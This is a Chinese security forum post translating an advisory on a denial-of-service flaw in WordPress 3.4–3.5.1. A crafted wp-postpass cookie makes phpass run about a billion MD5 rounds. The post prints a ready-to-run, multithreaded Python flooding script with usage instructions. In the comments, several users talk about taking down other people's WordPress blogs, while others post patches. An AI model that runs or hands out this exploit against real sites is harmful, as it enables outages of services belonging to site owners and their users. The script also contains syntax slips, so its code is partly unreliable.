英文原文:WordPress 3.5.1, Denial of Service [UPDATE]

中文译文:Wordpress 3.4 - 3.5.1 逻辑问题导致的 DoS


最终产生 DoS 效果的代码在通用组件phpass中,wp 中位于 /wp-includes/class-phpass.php.

function crypt_private($password, $setting)
  {
    $output = '*0';
    if (substr($setting, 0, 2) == $output)
      $output = '*1';

    $id = substr($setting, 0, 3);
    # We use "$P$", phpBB3 uses "$H$" for the same thing
    if ($id != '$P$' && $id != '$H$')
      return $output;

    $count_log2 = strpos($this->itoa64, $setting[3]);
    if ($count_log2 < 7 || $count_log2 > 30)
      return $output;

    $count = 1 << $count_log2;

    $salt = substr($setting, 4, 8);
    if (strlen($salt) != 8)
      return $output;

    # We're kind of forced to use MD5 here since it's the only
    # cryptographic primitive available in all versions of PHP
    # currently in use.  To implement our own low-level crypto
    # in PHP would result in much worse performance and
    # consequently in lower iteration counts and hashes that are
    # quicker to crack (by non-PHP code).
    if (PHP_VERSION >= '5') {
      $hash = md5($salt . $password, TRUE);
      do {
        $hash = md5($hash . $password, TRUE);
      } while (--$count);
    } else {
      $hash = pack('H*', md5($salt . $password));
      do {
        $hash = pack('H*', md5($hash . $password));
      } while (--$count);
    }

    $output = substr($setting, 0, 12);
    $output .= $this->encode64($hash, 16);

    return $output

接收两个参数,第二个参数的第三个字符控制 md5 函数调用次数。

在前文定义的

$this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';

中,这个字符的取值只能是 “56789ABCDEFGHIJKLMNOPQRS” 中的一个。然后看次数的具体控制,

$count = 1 << $count_log2;

用了左移操作,如果第三个字符为 "S", count = 2^30 ~ 10 亿。一个请求让服务器调用 10 亿次 md5,这个开销有点大。

WP 在掉用过程中,导致第二个参数可以被用户控制,产生 DoS 效果。

来看看调用流程:

用户访问一一篇文章时,WP 会先判断文章是否加密,从而调用 crypt_private。

/wp-includes/post-template.php get_the_content() -> if ( post_password_required($post) ) -> /wp-includes/class-phpass.php CheckPassword() -> crypt_private()

用户可控位置在 post_password_required()里,

$hash = stripslashes( $_COOKIE[ 'wp-postpass_' . COOKIEHASH ] );

  return ! $wp_hasher->CheckPassword( $post->post_password, $hash );

从 Cookie 里取内容,再作为第二个参数传给 CheckPassword()

function CheckPassword($password, $stored_hash)
  {
    $hash = $this->crypt_private($password, $stored_hash);
    if ($hash[0] == '*')
      $hash = crypt($password, $stored_hash);

    return $hash == $stored_hash;
  }

CheckPassword() 第二个参数直接传给了 crypt_private()的第二个参数,至此流程完成。

现在万事俱备只欠东风。我们的东风就是 "COOKIEHASH",在wp 目录下

grep -rn COOKIEHASH .

找到定义

./wp-includes/default-constants.php:150: define( 'COOKIEHASH', md5( $siteurl ) );

原文中取 COOKIEHASH 发了一个 POST 登录请求,在 127.0.0.1 测试,这里取到的就是 md5("http://127.0.0.1/wp").

现在所有条件都满足了,就差一个 exp 了。

原文中的 exp 注释说需要一个篇加密的文章地址,不过从代码逻辑和我的测试来看,只要一个普通文章就够了。

还有就是原来的 exp 是单线程的,对本机效果很好,但是在网络上发送有延迟,所以效果不明显。最关键一点,这个执行过程受 php 的 max_execution_time 限制,默认是 30s。

import httplib
import re
import time
import sys

from threading import thread

def get_cookie_hash(hostname, wplogin):
    headers = {'Content-type': 'application/x-www-form-urlencoded'}
    handler = httplib.HTTPConnection(hostname)
    # handler.request('POST', url, 'post_password=', headers=headers)
    handler.request('POST', wplogin, 'action=postpass&post_password=none', headers=headers)
     response = handler.getresponse()
    set_cookie = response.getheader('set-cookie')
    if set_cookie is None: raise RuntimeError('cannot fetch set-cookie header')

    pattern = re.compile('wp-postpass_([0-9a-f]{32})')
    result = pattern.search(set_cookie)
    if result is None: raise RuntimeError('cannot fetch cookie hash')
    return result.groups()[0]

def send_request(hostname, post, cookie_name):
    headers = {'Cookie': 'wp-postpass_%s=%%24P%%24Spaddding' % cookie_name}
    handler = httplib.HTTPConnection(hostname)
    handler.request('GET', post, 'action=postpass&post_password=a', headers=headers)

if __name__ == '__main__':
    if len(sys.argv) != 5:
        print sys.argv[0], '127.0.0.1 /wp/wp-login.php /wp/?p=1 1000'
        sys.exit()
    hostname = sys.argv[1] # 127.0.0.1
    wplogin = sys.argv[2] # '/wp/wp-login.php'
    posturl = sys.argv[3] # '/wp/?p=1' # link to password protected post
    requests = int(sys.argv[4]) # 1000

    cookie_hash = get_cookie_hash(hostname, wplogin)
    print '[+] received cookie hash: %s' % cookie_hash
    while 1:
        try:
            g = pool.Pool(size=100)
            for i in xrange(requests):
                g.spawn(send_request, hostname, posturl, cookie_hash)
             g.join()
            print 'continue to wait 30s ... '
        except Exception, e:
            print e
            time.sleep(30)

使用前先安装 python-gevent,程序默认为 100 个线程

sudo apt-get install python-gevent

使用方法, 参数依次为 host, 某一篇文章地址, 登录地址(wp-login.php的地址),发送请求数

python wp-dos.py 127.0.0.1 /wp/?p=1 /wp/wp-login.php 1000

[原文地址]

相关讨论: 

1#

xsser (十根阳具有长短!!) | 2013-10-23 14:09

:)

2#

小胖子 (我承认,我爱过VIP,我仅仅是爱过,因为他死了。) | 2013-10-23 14:12

啊哈,搞一个站试试看去,某人的博客是wp的,哈哈哈

3#

过客 | 2013-10-23 14:23

@xsser exp 使用方法里的第二个和第三个参数反了,帮忙改一下

4#

jeary (?????????????????????????) | 2013-10-23 14:26

wp在BAE,求dos..

5#

无敌L.t.H (:?门安天京北爱我) | 2013-10-23 14:59

已改为define('COOKIEHASH', hash_hmac('md5', $_SERVER['DOCUMENT_ROOT'], $_SERVER['REMOTE_ADDR']));

6#

wefgod (求大牛指点) | 2013-10-23 17:35

给力啊!

7#

过客 | 2013-10-23 22:21

@无敌L.t.H 还要把 wp-login.php 藏起来,要不然还是能取到。

如果不想升级。可以按官方的修补

修改

if ($count_log2 < 7 || $count_log2 > 30)

if ($count_log2 < 7 || $count_log2 > 13)

8#

无敌L.t.H (:?门安天京北爱我) | 2013-10-23 22:23

@过客 其实我是准备做个蜜罐。

9#

过客 | 2013-10-23 22:44

@无敌L.t.H 我突然想到,2^13 次单机绝对 D 不挂了,用这个点来 CC,效果应该很不错,而且是 > 3.4 的都可以,哈哈

10#

px1624 (aaaaaaaaa) | 2013-10-23 22:53

@小胖子 z7y的就是wp

11#

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-10-25 09:22

木错,多点cc才是王道……